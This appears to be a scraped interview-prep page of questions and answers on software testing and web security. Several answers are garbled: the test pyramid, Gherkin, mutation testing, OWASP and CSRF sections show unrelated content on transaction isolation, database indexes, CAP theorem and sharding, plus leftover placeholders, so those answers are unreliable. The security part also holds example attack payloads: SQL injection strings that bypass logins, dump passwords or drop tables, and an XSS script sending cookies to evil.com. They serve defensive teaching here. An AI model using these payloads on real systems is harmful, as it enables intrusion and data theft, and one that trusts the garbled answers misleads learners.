Testing & Security
Unit testing, TDD, OWASP, and security practices
Unit vs Integration vs E2E testing
What's the difference between unit, integration, and end-to-end tests?
Unit Tests:
Test individual components in isolation.
// Unit test - tests only Calculator
class CalculatorTest {
@Test
void testAdd() {
Calculator calc = new Calculator();
assertEquals(5, calc.add(2, 3));
}
}
// Fast, isolated, mocked dependencies
Integration Tests:
Test interaction between components.
// Integration test - tests Service + Repository
class UserServiceIntegrationTest {
@Autowired UserService service;
@Autowired UserRepository repo;
@Test
void testCreateUser() {
User user = service.create("Alice");
assertNotNull(repo.findById(user.getId()));
}
}
// Tests real database, slower
End-to-End (E2E) Tests:
Test complete flows from user perspective.
// E2E test - tests entire system
describe('User Registration', () => {
it('should register new user', () => {
cy.visit('/register');
cy.get('[name="email"]').type('test@example.com');
cy.get('[name="password"]').type('password123');
cy.get('button[type="submit"]').click();
cy.url().should('include', '/dashboard');
});
});
// Real browser, real server, slowest
Comparison:
| Aspect | Unit | Integration | E2E |
|---|---|---|---|
| Scope | Single component | Multiple components | Entire system |
| Speed | Fast (ms) | Medium (s) | Slow (min) |
| Isolation | High (mocked) | Medium | None |
| Maintenance | Easy | Medium | Difficult |
| Reliability | High | Medium | Flaky |
| Coverage | Function logic | Component interaction | User flows |
Test Pyramid:
/\
/E2E\ Few
/────\
/ Integ\ Some
/────────\
/ Unit \ Many
/────────────\
What to Test Where:
| Test Type | Examples |
|---|---|
| Unit | Business logic, algorithms, utilities |
| Integration | API endpoints, database queries, services |
| E2E | Critical user journeys, checkout, login |
Key Points to Look For:
- Knows all three types
- Understands trade-offs
- Follows test pyramid
Follow-up: What makes E2E tests flaky?
Test pyramid and its implications
What is the test pyramid? Why is it shaped that way?
Test Pyramid:
-- Initial: balance = 100
-- Transaction A -- Transaction B
BEGIN;
UPDATE SET balance = 50;
BEGIN;
SELECT balance; -- 50 (dirty!)
ROLLBACK; -- A rolled back, but B saw 50
-- B made decisions based on bad data
Why This Shape:
Cost:
-- Transaction A -- Transaction B
BEGIN;
SELECT balance; -- 100
BEGIN;
UPDATE SET balance = 50;
COMMIT;
SELECT balance; -- 50! -- Different value!
-- Same row, different value
Speed:
-- Transaction A -- Transaction B
BEGIN;
SELECT COUNT(*) WHERE age > 20;
-- Returns 5
BEGIN;
INSERT INTO users (age) VALUES (25);
COMMIT;
SELECT COUNT(*) WHERE age > 20;
-- Returns 6! Phantom row appeared
Reliability:
Dirty Read: See uncommitted data
Non-Repeatable: Same row, different value
Phantom: Different row count
Implications:
1. Maximize unit tests:
Bank shows $50, user withdraws $40
Original transaction rolled back
Actual balance was $100
Now balance is $60 (should be $100)
2. Integration for boundaries:
Check inventory: 10 items
Someone buys 5
Place order for 10
Oversold by 5!
3. E2E for critical paths:
Count employees in department: 5
Budget for 5
New hire added
Budget insufficient for 6
Anti-Pattern: Ice Cream Cone:
wzxhzdk:7
Key Points to Look For:
- Knows pyramid shape and why
- Understands cost/speed trade-offs
- Recognizes anti-patterns
Follow-up: How does the pyramid change for different types of applications?
What makes a good unit test?
What are the characteristics of a good unit test?
FIRST Principles:
F - Fast:
// Good: Milliseconds
@Test void calculate_returnsCorrectResult() {
assertEquals(10, calculator.add(5, 5));
}
// Bad: Seconds (hitting real DB)
@Test void calculate_withDatabase() {
db.connect(); // Slow!
}
I - Isolated/Independent:
// Good: No test order dependency
@Test void test1() { /* independent */ }
@Test void test2() { /* independent */ }
// Bad: Tests depend on each other
@Test void test1() { sharedState = 1; }
@Test void test2() { assertEquals(1, sharedState); }
R - Repeatable:
// Good: Same result every time
@Test void discount_applies10Percent() {
assertEquals(90, pricing.applyDiscount(100, 0.1));
}
// Bad: Depends on external state
@Test void discount_basedOnCurrentDate() {
// Fails on certain dates
}
S - Self-validating:
// Good: Clear pass/fail
@Test void user_isActive_whenNotExpired() {
assertTrue(user.isActive());
}
// Bad: Requires manual inspection
@Test void printUserInfo() {
System.out.println(user); // Look at output?
}
T - Timely:
Written before or with the code.
Additional Qualities:
Focused (tests one thing):
// Good
@Test void addItem_increasesCartCount() {
cart.add(item);
assertEquals(1, cart.itemCount());
}
// Bad: Tests multiple things
@Test void addItem_updatesCartCorrectly() {
cart.add(item);
assertEquals(1, cart.itemCount());
assertEquals(item.price(), cart.total());
assertFalse(cart.isEmpty());
}
Readable:
// Good: Arrange-Act-Assert
@Test void overdraft_throwsException_whenInsufficientFunds() {
// Arrange
Account account = new Account(100);
// Act & Assert
assertThrows(InsufficientFundsException.class,
() -> account.withdraw(200));
}
Meaningful name:
// Good
void shouldRejectInvalidEmail_whenFormatIsWrong()
// Bad
void testEmail()
void test1()
Key Points to Look For:
- Knows FIRST principles
- Values isolation and speed
- Writes readable tests
Follow-up: How do you test private methods?
Mocking vs Stubbing vs Faking
What's the difference between mocks, stubs, and fakes?
Test Doubles: Objects that replace real dependencies in tests.
Stub:
Returns canned responses. No verification.
// Stub - returns fixed data
class StubUserRepository implements UserRepository {
@Override
public User findById(Long id) {
return new User(id, "Test User"); // Always returns this
}
}
@Test
void getUser_returnsUser() {
UserService service = new UserService(new StubUserRepository());
User user = service.getUser(1L);
assertEquals("Test User", user.getName());
}
Mock:
Verifies interactions. Has expectations.
// Mock - verifies calls
@Test
void createUser_sendsWelcomeEmail() {
EmailService mockEmail = mock(EmailService.class);
UserService service = new UserService(userRepo, mockEmail);
service.createUser("alice@example.com");
// Verify interaction
verify(mockEmail).send(
eq("alice@example.com"),
contains("Welcome")
);
}
Fake:
Working implementation, simplified.
// Fake - simplified but working
class FakeUserRepository implements UserRepository {
private Map<Long, User> users = new HashMap<>();
private long nextId = 1;
@Override
public User save(User user) {
user.setId(nextId++);
users.put(user.getId(), user);
return user;
}
@Override
public User findById(Long id) {
return users.get(id); // Actually works!
}
}
Spy:
Real object with some methods stubbed/verified.
// Spy - partial mock
UserService realService = new UserService(repo, email);
UserService spy = spy(realService);
doReturn(cachedUser).when(spy).getFromCache(1L);
spy.getUser(1L); // Uses stubbed cache, real repo
Comparison:
| Type | Behavior | Verification | Use Case |
|---|---|---|---|
| Stub | Fixed responses | No | Provide inputs |
| Mock | Programmed | Yes | Verify outputs |
| Fake | Simplified real | No | Complex dependency |
| Spy | Real + overrides | Optional | Partial stubbing |
Mockito Examples:
// Stub
when(repo.findById(1L)).thenReturn(user);
// Mock with verification
verify(repo).save(any(User.class));
verify(repo, times(2)).findById(anyLong());
verify(repo, never()).delete(any());
// Argument capture
ArgumentCaptor<User> captor = ArgumentCaptor.forClass(User.class);
verify(repo).save(captor.capture());
assertEquals("Alice", captor.getValue().getName());
Key Points to Look For:
- Knows all types and differences
- Uses mocks for verification
- Prefers stubs/fakes for inputs
Follow-up: When would you use a fake over a mock?
Test coverage: metrics and limitations
What does test coverage measure? What are its limitations?
Coverage Metrics:
1. Line Coverage:
void process(int x) {
if (x > 0) { // Line 1
doSomething(); // Line 2
}
finish(); // Line 3
}
// Test: process(5)
// Lines covered: 1, 2, 3 = 100%
// Test: process(-1)
// Lines covered: 1, 3 = 67%
2. Branch Coverage:
void process(int x) {
if (x > 0) { // Branch: true/false
doSomething();
}
finish();
}
// Test: process(5) → true branch
// Test: process(-1) → false branch
// 100% branch coverage
3. Path Coverage:
void process(int x, int y) {
if (x > 0) { a(); }
if (y > 0) { b(); }
}
// Paths: (T,T), (T,F), (F,T), (F,F) = 4 paths
Limitations:
1. Coverage doesn't mean correctness:
// 100% coverage, but bug!
void divide(int a, int b) {
return a / b; // No zero check!
}
@Test void testDivide() {
assertEquals(2, divide(4, 2)); // 100% coverage
}
2. Doesn't test edge cases:
void process(List<String> items) {
for (String item : items) {
handle(item);
}
}
@Test void test() {
process(List.of("a")); // 100% coverage
// Never tested: empty list, null, large list
}
3. Quality vs quantity:
// High coverage, low quality
@Test void testEverything() {
someMethod(); // No assertions!
}
4. Doesn't test interactions:
// Unit coverage fine, integration broken
serviceA.doWork(); // Tested in isolation
serviceB.doWork(); // Tested in isolation
// But A → B interaction may fail
Good Practices:
1. Set reasonable targets (70-80%, not 100%)
2. Focus on critical code paths
3. Measure trend, not absolute number
4. Combine with other metrics:
- Mutation testing
- Integration tests
- Code review
Key Points to Look For:
- Knows coverage types
- Understands limitations
- Doesn't chase 100%
Follow-up: What is mutation testing?
TDD: Red-Green-Refactor cycle
What is TDD? Explain the Red-Green-Refactor cycle.
TDD (Test-Driven Development):
Write tests before implementation.
Red-Green-Refactor:
┌─────────┐
│ RED │ Write failing test
│ (fail) │
└────┬────┘
│
┌────▼────┐
│ GREEN │ Write minimum code to pass
│ (pass) │
└────┬────┘
│
┌────▼────┐
│REFACTOR │ Clean up, improve design
│ (pass) │
└────┬────┘
│
└─────→ Repeat
Example:
RED - Write failing test:
@Test
void isEmpty_returnsTrue_forNewStack() {
Stack<Integer> stack = new Stack<>();
assertTrue(stack.isEmpty());
}
// Fails: Stack class doesn't exist
GREEN - Make it pass:
class Stack<T> {
boolean isEmpty() {
return true; // Simplest implementation
}
}
// Passes!
RED - Next test:
@Test
void isEmpty_returnsFalse_afterPush() {
Stack<Integer> stack = new Stack<>();
stack.push(1);
assertFalse(stack.isEmpty());
}
// Fails: push() doesn't exist
GREEN - Make it pass:
class Stack<T> {
private List<T> items = new ArrayList<>();
void push(T item) {
items.add(item);
}
boolean isEmpty() {
return items.isEmpty();
}
}
REFACTOR:
// Maybe rename, extract methods, etc.
// Tests still pass!
Benefits:
1. Design emerges from tests
2. Documentation via tests
3. Confidence in changes
4. Focus on requirements
Challenges:
1. Learning curve
2. Slower initially
3. Need discipline
4. Not suitable for all code (UI, exploratory)
Key Points to Look For:
- Knows the cycle
- Writes minimal code to pass
- Refactors with confidence
Follow-up: When might TDD not be appropriate?
BDD and Gherkin syntax
What is BDD? How does Gherkin syntax work?
BDD (Behavior-Driven Development):
Extension of TDD focusing on business behavior, using natural language.
Gherkin Syntax:
Clustered Index on ID:
Index: [1] → [5] → [10] → [15]
↓
Data: Actual rows stored in this order
-- Table IS the index
Keywords:
- Feature: Describes the feature
- Scenario: Specific test case
- Given: Preconditions (setup)
- When: Action being tested
- Then: Expected outcome
- And/But: Additional steps
Step Definitions (Cucumber):
Non-Clustered Index on Name:
Index: [Alice] → [Bob] → [Carol]
↓
Pointer: Row 5 Row 1 Row 3
↓
Data: Stored in different order (clustered order)
Benefits:
1. Shared language between business and tech
2. Living documentation
3. Focus on behavior not implementation
4. Reusable steps
Scenario Outline (Data-Driven):
SELECT * FROM users WHERE id = 5;
1. B-tree search → O(log n)
2. Found! Data is right there
Key Points to Look For:
- Knows Gherkin syntax
- Understands Given/When/Then
- Can write step definitions
Follow-up: How do you prevent step definition explosion?
Testing Practices
Testing private methods: should you?
Should you test private methods? How would you if needed?
General Guidance: Don't test private methods directly.
Why Not:
1. Implementation detail - Can change without affecting behavior
2. Tested through public API - If public methods work, private methods work
3. Indicates design problem - Too complex? Extract class
Test Through Public Methods:
class Calculator {
public int calculate(int a, int b, String op) {
if (op.equals("+")) return add(a, b);
if (op.equals("*")) return multiply(a, b);
throw new IllegalArgumentException();
}
private int add(int a, int b) { return a + b; }
private int multiply(int a, int b) { return a * b; }
}
@Test
void calculate_addsCorrectly() {
assertEquals(5, calc.calculate(2, 3, "+"));
}
// Private methods tested implicitly
If Complex Private Logic - Extract Class:
// Before: Complex private method
class OrderService {
public Order createOrder(...) {
// ...
BigDecimal tax = calculateTax(items, state); // Complex!
// ...
}
private BigDecimal calculateTax(...) { /* Complex logic */ }
}
// After: Extract and test separately
class TaxCalculator {
public BigDecimal calculate(List<Item> items, String state) {
// Same logic, now public and testable
}
}
class TaxCalculatorTest {
@Test void calculate_appliesStateTax() { }
}
If You Must Test Private (Not Recommended):
// Using reflection
Method method = MyClass.class.getDeclaredMethod("privateMethod", String.class);
method.setAccessible(true);
Object result = method.invoke(instance, "arg");
// Package-private for testing
class Calculator {
int add(int a, int b) { return a + b; } // Package-private, not private
}
Summary:
Private method simple? → Test through public API
Private method complex? → Extract to separate class
Still want to test? → Make package-private (last resort)
Key Points to Look For:
- Prefers testing through public API
- Suggests extraction for complex logic
- Understands design implications
Follow-up: How does extracting classes improve testability?
Flaky tests: causes and solutions
What causes flaky tests and how do you fix them?
Flaky Test: Passes sometimes, fails sometimes, without code changes.
Causes and Solutions:
1. Timing/Async Issues:
// Flaky
test('shows message', () => {
button.click();
expect(message.text()).toBe('Done'); // May not be ready!
});
// Fixed
test('shows message', async () => {
button.click();
await waitFor(() => expect(message.text()).toBe('Done'));
});
2. Test Order Dependency:
// Flaky - depends on order
static int counter = 0;
@Test void test1() { counter++; assertEquals(1, counter); }
@Test void test2() { counter++; assertEquals(2, counter); }
// Fixed - reset state
@BeforeEach void setup() { counter = 0; }
3. Shared State:
// Flaky - shared database
@Test void testA() { db.insert(user); }
@Test void testB() { assertEquals(0, db.count()); } // Fails if A runs first
// Fixed - isolate tests
@BeforeEach void setup() { db.clear(); }
// Or use transactions and rollback
4. Time-Dependent:
// Flaky - depends on current time
@Test void isExpired() {
Token token = new Token(expiresAt: "2024-01-01");
assertTrue(token.isExpired()); // Fails before 2024!
}
// Fixed - inject clock
@Test void isExpired() {
Clock fixedClock = Clock.fixed(Instant.parse("2024-06-01T00:00:00Z"));
Token token = new Token(expiresAt: "2024-01-01", clock: fixedClock);
assertTrue(token.isExpired());
}
5. External Dependencies:
// Flaky - real API
@Test void fetchUser() {
User user = api.getUser(1); // Network issues
assertNotNull(user);
}
// Fixed - mock external
@Test void fetchUser() {
when(mockApi.getUser(1)).thenReturn(testUser);
User user = service.fetchUser(1);
assertNotNull(user);
}
6. Resource Cleanup:
// Flaky - file not cleaned
@Test void writesFile() {
writer.write("test.txt");
assertTrue(Files.exists("test.txt"));
}
// Fixed - cleanup
@AfterEach void cleanup() {
Files.deleteIfExists("test.txt");
}
Strategies:
1. Quarantine flaky tests
2. Retry (temporary, not solution)
3. Root cause analysis
4. Deterministic inputs
5. Proper waits/timeouts
Key Points to Look For:
- Knows common causes
- Has specific solutions
- Addresses root cause
Follow-up: How do you identify flaky tests in CI/CD?
Testing async code challenges
What are the challenges of testing async code?
Challenges:
1. Test Completes Before Async:
// Wrong - test ends before callback
test('fetches data', () => {
fetchData((data) => {
expect(data).toBe('result');
});
});
// Test passes even if assertion fails!
Solutions:
Callbacks - Use done:
test('fetches data', (done) => {
fetchData((data) => {
expect(data).toBe('result');
done(); // Signal completion
});
});
Promises - Return promise:
test('fetches data', () => {
return fetchData().then(data => {
expect(data).toBe('result');
});
});
Async/Await:
test('fetches data', async () => {
const data = await fetchData();
expect(data).toBe('result');
});
2. Timing Issues:
// Flaky - arbitrary timeout
test('shows loading then data', async () => {
render(<DataComponent />);
await sleep(100); // May not be enough!
expect(screen.getByText('Data')).toBeInTheDocument();
});
// Better - wait for condition
test('shows loading then data', async () => {
render(<DataComponent />);
await waitFor(() => {
expect(screen.getByText('Data')).toBeInTheDocument();
});
});
3. Multiple Async Operations:
// Testing order of operations
test('processes in order', async () => {
const results = [];
await Promise.all([
operation1().then(r => results.push(r)),
operation2().then(r => results.push(r))
]);
// Can't guarantee order!
});
// Better - test independently
4. Error Handling:
// Test rejection
test('handles error', async () => {
await expect(failingOperation()).rejects.toThrow('Error message');
});
// Test error callback
test('calls error handler', async () => {
const errorHandler = jest.fn();
await operation({ onError: errorHandler });
expect(errorHandler).toHaveBeenCalledWith(expect.any(Error));
});
Java Examples:
// CompletableFuture
@Test
void asyncOperation() throws Exception {
CompletableFuture<String> future = service.asyncGet();
String result = future.get(5, TimeUnit.SECONDS);
assertEquals("expected", result);
}
// Awaitility
@Test
void eventuallySucceeds() {
service.startAsync();
await()
.atMost(5, SECONDS)
.until(() -> service.isComplete());
}
Key Points to Look For:
- Knows async testing patterns
- Uses proper waiting mechanisms
- Handles timeouts appropriately
Follow-up: How do you test event-driven systems?
Mutation testing explained
What is mutation testing? How does it help?
Mutation Testing:
Measures test quality by introducing bugs (mutants) and checking if tests catch them.
Process:
-- Index on customer_id only
CREATE INDEX idx_cust ON orders(customer_id);
SELECT order_date, total
FROM orders
WHERE customer_id = 123;
-- Execution:
-- 1. Find rows in index → Get row IDs
-- 2. For each row ID, fetch from table → Extra I/O!
Example:
-- Include all needed columns
CREATE INDEX idx_cust_covering
ON orders(customer_id, order_date, total);
-- Now index-only scan possible!
Mutation Operators:
CREATE INDEX idx_cust ON orders(customer_id)
INCLUDE (order_date, total);
Mutation Score:
-- Query filters on customer_id, selects order_date, total
-- customer_id needs to be searchable
-- order_date, total just need to be available
CREATE INDEX idx ON orders(customer_id) -- Key: searchable
INCLUDE (order_date, total); -- Include: available
Benefits:
1. Tests the tests - Are they actually checking?
2. Finds weak tests - Assertions that don't fail
3. Better than coverage - Execution ≠ Verification
Limitations:
1. Slow - Runs tests many times
2. Equivalent mutants - Some mutations don't change behavior
3. Expensive - CPU intensive
Tools:
- PIT (Java)
- Stryker (JavaScript, C#)
- mutmut (Python)
Key Points to Look For:
- Understands the concept
- Knows why it's better than coverage
- Aware of limitations
Follow-up: How do you handle equivalent mutants?
Property-based testing
What is property-based testing? When would you use it?
Property-Based Testing:
Instead of specific examples, test properties that should always hold.
Example-Based vs Property-Based:
// Example-based
@Test void testSort() {
assertEquals(List.of(1, 2, 3), sort(List.of(3, 1, 2)));
assertEquals(List.of(1), sort(List.of(1)));
assertEquals(List.of(), sort(List.of()));
}
// Property-based
@Property
void sortedListIsSorted(@ForAll List<Integer> list) {
List<Integer> sorted = sort(list);
for (int i = 0; i < sorted.size() - 1; i++) {
assertTrue(sorted.get(i) <= sorted.get(i + 1));
}
}
@Property
void sortedListHasSameElements(@ForAll List<Integer> list) {
List<Integer> sorted = sort(list);
assertEquals(new HashSet<>(list), new HashSet<>(sorted));
assertEquals(list.size(), sorted.size());
}
Properties to Test:
1. Inverse Operations:
@Property
void encodeDecodeIsIdentity(@ForAll String s) {
assertEquals(s, decode(encode(s)));
}
@Property
void serializeDeserializeIsIdentity(@ForAll User user) {
assertEquals(user, deserialize(serialize(user)));
}
2. Idempotent Operations:
@Property
void sortIsIdempotent(@ForAll List<Integer> list) {
assertEquals(sort(list), sort(sort(list)));
}
3. Invariants:
@Property
void stackSizeAfterPushPop(@ForAll @Size(min=1) List<Integer> items) {
Stack<Integer> stack = new Stack<>();
for (int item : items) stack.push(item);
int size = stack.size();
stack.push(999);
stack.pop();
assertEquals(size, stack.size());
}
4. Commutativity:
@Property
void additionIsCommutative(@ForAll int a, @ForAll int b) {
assertEquals(add(a, b), add(b, a));
}
Benefits:
1. Edge cases found automatically
2. More coverage with less code
3. Finds unexpected bugs
4. Shrinking - minimizes failing case
Shrinking:
Found failing input: [45, 22, 99, 3, 17, 42, 8]
Shrinking...
Minimal failing case: [2, 1, 0]
Tools:
- jqwik (Java)
- QuickCheck (Haskell, ports to many languages)
- Hypothesis (Python)
- fast-check (JavaScript)
Key Points to Look For:
- Understands property concept
- Knows common property types
- Mentions shrinking
Follow-up: How do you identify good properties to test?
Contract testing for APIs
What is contract testing? How does it help with microservices?
Contract Testing:
Verify interactions between services match agreed-upon contracts.
Problem:
Consumer (Frontend) Provider (API)
│ │
│ GET /users/123 │
│─────────────────────→│
│ {name: "Alice"} │
│←─────────────────────│
What if API changes response to {userName: "Alice"}?
Integration test might not catch until late!
Consumer-Driven Contract Testing:
1. Consumer defines expectations (contract)
2. Provider verifies it can meet contract
3. Both test independently
Pact Example:
Consumer Side:
@Pact(consumer = "Frontend", provider = "UserAPI")
public RequestResponsePact userContract(PactDslWithProvider builder) {
return builder
.given("user 123 exists")
.uponReceiving("a request for user 123")
.path("/users/123")
.method("GET")
.willRespondWith()
.status(200)
.body(new PactDslJsonBody()
.stringType("name", "Alice")
.integerType("id", 123))
.toPact();
}
@Test
@PactTestFor(pactMethod = "userContract")
void testGetUser(MockServer mockServer) {
UserClient client = new UserClient(mockServer.getUrl());
User user = client.getUser(123);
assertEquals("Alice", user.getName());
}
Provider Side:
@Provider("UserAPI")
@PactFolder("pacts")
public class UserProviderTest {
@TestTemplate
@ExtendWith(PactVerificationInvocationContextProvider.class)
void verifyPact(PactVerificationContext context) {
context.verifyInteraction();
}
@State("user 123 exists")
void user123Exists() {
userRepository.save(new User(123, "Alice"));
}
}
Flow:
┌──────────────┐ ┌──────────────┐
│ Consumer │ │ Provider │
└──────┬───────┘ └──────┬───────┘
│ │
│ 1. Generate contract │
│─────────────────────────────────→ │
│ │
│ Pact Broker (storage) │
│ │
│ 2. Verify contract │
│ ←─────────────────────────────────│
│ │
Benefits:
1. Fast feedback - Don't need running services
2. Independent testing - Consumer and provider separate
3. Versioned contracts - Track compatibility
4. CI/CD integration - Automated verification
Spring Cloud Contract:
// Contract DSL
Contract.make {
request {
method GET()
url '/users/123'
}
response {
status 200
body([name: 'Alice', id: 123])
}
}
Key Points to Look For:
- Understands consumer-driven approach
- Knows tools (Pact, Spring Cloud Contract)
- Can explain the workflow
Follow-up: How do you handle contract versioning?
Performance testing basics
What types of performance testing are there?
Types of Performance Testing:
1. Load Testing:
Expected normal load.
Users: 100 concurrent
Duration: 1 hour
Goal: Verify response times under normal load
2. Stress Testing:
Beyond normal capacity.
Users: 500 → 1000 → 2000 (increasing)
Goal: Find breaking point
How does system recover?
3. Spike Testing:
Sudden load increase.
Users: 100 → 1000 (instantly) → 100
Goal: Handle sudden traffic bursts
Black Friday scenario
4. Endurance/Soak Testing:
Sustained load over time.
Users: 100 concurrent
Duration: 24-72 hours
Goal: Find memory leaks, resource exhaustion
5. Scalability Testing:
Test: Add resources, measure improvement
Goal: Verify scaling strategy works
Linear vs diminishing returns
Key Metrics:
Response Time:
- Average: 200ms
- P95: 500ms (95% under this)
- P99: 1s (99% under this)
Throughput:
- Requests/second: 1000 RPS
- Transactions/second
Error Rate:
- < 1% acceptable
Resource Usage:
- CPU: < 70% average
- Memory: Stable, no leaks
- Connections: Within limits
JMeter Example:
<ThreadGroup>
<ThreadCount>100</ThreadCount>
<RampUp>60</RampUp>
<Duration>3600</Duration>
<HTTPSampler>
<method>GET</method>
<path>/api/users</path>
</HTTPSampler>
</ThreadGroup>
k6 Example:
import http from 'k6/http';
import { check, sleep } from 'k6';
export let options = {
vus: 100,
duration: '30s',
thresholds: {
http_req_duration: ['p(95)<500'],
http_req_failed: ['rate<0.01'],
},
};
export default function() {
let res = http.get('https://api.example.com/users');
check(res, {
'status is 200': (r) => r.status === 200,
'response time < 500ms': (r) => r.timings.duration < 500,
});
sleep(1);
}
Key Points to Look For:
- Knows different types
- Understands key metrics
- Mentions tools
Follow-up: How do you identify performance bottlenecks?
Security Fundamentals
OWASP Top 10 overview
What are the OWASP Top 10 security risks?
OWASP Top 10 (2021):
1. Broken Access Control:
Network partition occurs:
Server A ←✗→ Server B
Scenario: Write to A, Read from B
Option 1: Consistency (CP)
- B refuses to serve until sync with A
- Availability sacrificed
Option 2: Availability (AP)
- B serves stale data
- Consistency sacrificed
Can't have both during partition!
2. Cryptographic Failures:
- Weak encryption
- Sensitive data in plain text
- Weak password hashing
3. Injection:
- SQL injection
- Command injection
- LDAP injection
4. Insecure Design:
- Missing security controls
- No threat modeling
- Insecure business logic
5. Security Misconfiguration:
- Default credentials
- Unnecessary features enabled
- Missing security headers
- Verbose error messages
6. Vulnerable Components:
- Outdated libraries
- Known CVEs
- Unmaintained dependencies
7. Authentication Failures:
- Weak passwords allowed
- Credential stuffing
- Session fixation
- Missing MFA
8. Data Integrity Failures:
- Insecure deserialization
- Unsigned updates
- CI/CD pipeline security
9. Logging & Monitoring Failures:
- No audit logs
- No alerting
- Logs not protected
10. Server-Side Request Forgery (SSRF):
During partition: Some requests fail
Examples: MongoDB, HBase, Redis Cluster
Use for: Banking, inventory
"I'd rather refuse than give wrong answer"
Key Points to Look For:
- Knows several risks
- Can give examples
- Understands prevention
Follow-up: How do you stay updated on security vulnerabilities?
SQL Injection: attack and prevention
What is SQL injection? How do you prevent it?
SQL Injection:
Attacker inserts malicious SQL through user input.
Vulnerable Code:
String query = "SELECT * FROM users WHERE username = '" + username + "'";
// Input: admin' --
// Query: SELECT * FROM users WHERE username = 'admin' --'
// Comments out password check!
// Input: '; DROP TABLE users; --
// Query: SELECT * FROM users WHERE username = ''; DROP TABLE users; --'
// Deletes the table!
Attack Examples:
1. Authentication bypass:
Username: admin' OR '1'='1' --
Query: WHERE username='admin' OR '1'='1'--'
Result: Always true, logs in as admin
2. Data extraction:
Input: ' UNION SELECT password FROM users --
Result: Returns passwords
3. Destructive:
Input: '; DROP TABLE users; --
Result: Deletes table
Prevention:
1. Parameterized Queries (Best):
// Java PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?"
);
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();
// JPA
@Query("SELECT u FROM User u WHERE u.username = :username")
User findByUsername(@Param("username") String username);
2. ORM:
// Hibernate
session.createQuery("FROM User WHERE username = :username")
.setParameter("username", username)
.list();
// JPA Repository
userRepository.findByUsername(username);
3. Input Validation:
// Whitelist validation
if (!username.matches("^[a-zA-Z0-9_]+$")) {
throw new InvalidInputException();
}
4. Escape Special Characters (Last Resort):
// Only if parameterized queries not possible
String escaped = StringEscapeUtils.escapeSql(input);
5. Least Privilege:
-- Database user with minimal permissions
GRANT SELECT, INSERT ON app_schema.* TO 'app_user'@'localhost';
-- No DROP, DELETE on critical tables
Key Points to Look For:
- Knows attack mechanism
- Uses parameterized queries
- Doesn't rely only on escaping
Follow-up: How do you detect SQL injection attempts?
XSS: types and prevention
What is Cross-Site Scripting (XSS)? What are the types?
XSS (Cross-Site Scripting):
Attacker injects malicious scripts into web pages viewed by others.
Types:
1. Reflected XSS:
Script in URL, reflected in response.
URL: example.com/search?q=<script>alert('XSS')</script>
Page: "Results for: <script>alert('XSS')</script>"
2. Stored XSS:
Script saved in database, served to users.
Comment: <script>document.location='evil.com?c='+document.cookie</script>
Stored in DB, executed when other users view comment
3. DOM-based XSS:
Script manipulates DOM directly.
// Vulnerable
document.getElementById('output').innerHTML = location.hash;
// URL: page.html#<img src=x onerror=alert('XSS')>
Prevention:
1. Output Encoding:
// Encode for HTML context
String safe = HtmlUtils.htmlEscape(userInput);
// <script> becomes <script>
// Encode for JavaScript context
String safeJs = JavaScriptUtils.javaScriptEscape(userInput);
// Encode for URL
String safeUrl = URLEncoder.encode(userInput, "UTF-8");
2. Content Security Policy:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
<script nonce="abc123">/* Only this script runs */</script>
3. Use Safe APIs:
// Dangerous
element.innerHTML = userInput;
// Safe
element.textContent = userInput;
4. Input Validation:
// Sanitize HTML input
String clean = Jsoup.clean(userInput, Whitelist.basic());
5. HTTPOnly Cookies:
Set-Cookie: session=abc123; HttpOnly; Secure
Prevents JavaScript access to cookies.
6. Framework Protection:
<!-- React auto-escapes -->
<div>{userInput}</div>
<!-- Unless you explicitly allow HTML -->
<div dangerouslySetInnerHTML={{__html: userInput}} />
Key Points to Look For:
- Knows all three types
- Uses output encoding
- Mentions CSP
Follow-up: What's the difference between encoding and sanitizing?
CSRF: how it works and prevention
What is CSRF? How do you prevent it?
CSRF (Cross-Site Request Forgery):
Attacker tricks user into performing unwanted actions.
How It Works:
Shard 1: user_id 1-1000
Shard 2: user_id 1001-2000
Shard 3: user_id 2001-3000
Prevention:
1. CSRF Tokens:
shard = hash(user_id) % num_shards
Ring: 0 ─────────────────→ 2^32
│ │ │ │
Shard1 S2 S3 S4
key = hash(user_id) → Find next shard clockwise
2. SameSite Cookies:
user_id → shard
1 → shard_2
2 → shard_1
3 → shard_3
Strict: Cookie never sent cross-siteLax: Sent for top-level navigationNone: Always sent (requires Secure)
3. Double Submit Cookie:
Good shard key:
- High cardinality (many unique values)
- Even distribution
- Matches query patterns
- Immutable
Bad shard keys:
- Low cardinality (gender, status)
- Monotonically increasing (timestamp alone)
- Frequently updated
4. Check Origin/Referer:
wzxhzdk:5
5. Re-authentication:
wzxhzdk:6
Spring Security:
wzxhzdk:7
Key Points to Look For:
- Understands attack mechanism
- Knows CSRF token pattern
- Mentions SameSite cookies
Follow-up: Why don't CSRF tokens work for APIs?
Input validation best practices
What are best practices for input validation?
Validation Principles:
1. Validate on Server (Always):
// Client validation can be bypassed!
// Always validate server-side
@PostMapping("/users")
public User createUser(@Valid @RequestBody UserDTO dto) {
// @Valid triggers validation
}
public class UserDTO {
@NotBlank
@Size(min = 1, max = 100)
private String name;
@Email
private String email;
@Min(0) @Max(150)
private Integer age;
}
2. Whitelist Over Blacklist:
// Bad: Blacklist (incomplete)
if (input.contains("<script>")) reject(); // Many bypasses!
// Good: Whitelist (explicit allowed)
if (!input.matches("^[a-zA-Z0-9_]+$")) reject();
3. Type Validation:
// Validate expected type
int age = Integer.parseInt(ageString); // Throws if not number
// Use strong types
public void setAge(int age) { // Can't pass string
if (age < 0 || age > 150) throw new IllegalArgumentException();
this.age = age;
}
4. Length Limits:
@Size(max = 1000)
private String description;
// Prevent DoS
if (input.length() > MAX_LENGTH) reject();
5. Format Validation:
// Email
@Email
private String email;
// Custom pattern
@Pattern(regexp = "^\\d{3}-\\d{3}-\\d{4}$")
private String phone;
// URL
try {
new URL(urlString); // Validates URL format
} catch (MalformedURLException e) {
reject();
}
6. Range Validation:
@Min(0)
@Max(100)
private Integer percentage;
@DecimalMin("0.01")
@DecimalMax("1000000.00")
private BigDecimal price;
7. Sanitization:
// Remove dangerous content
String clean = Jsoup.clean(html, Whitelist.basic());
// Encode for output
String safe = HtmlUtils.htmlEscape(input);
8. Canonical Form:
// Normalize before validation
String normalized = Normalizer.normalize(input, Form.NFC);
String trimmed = input.trim().toLowerCase();
Validation vs Sanitization:
Validation: Accept or reject (email format check)
Sanitization: Clean and transform (remove HTML tags)
Key Points to Look For:
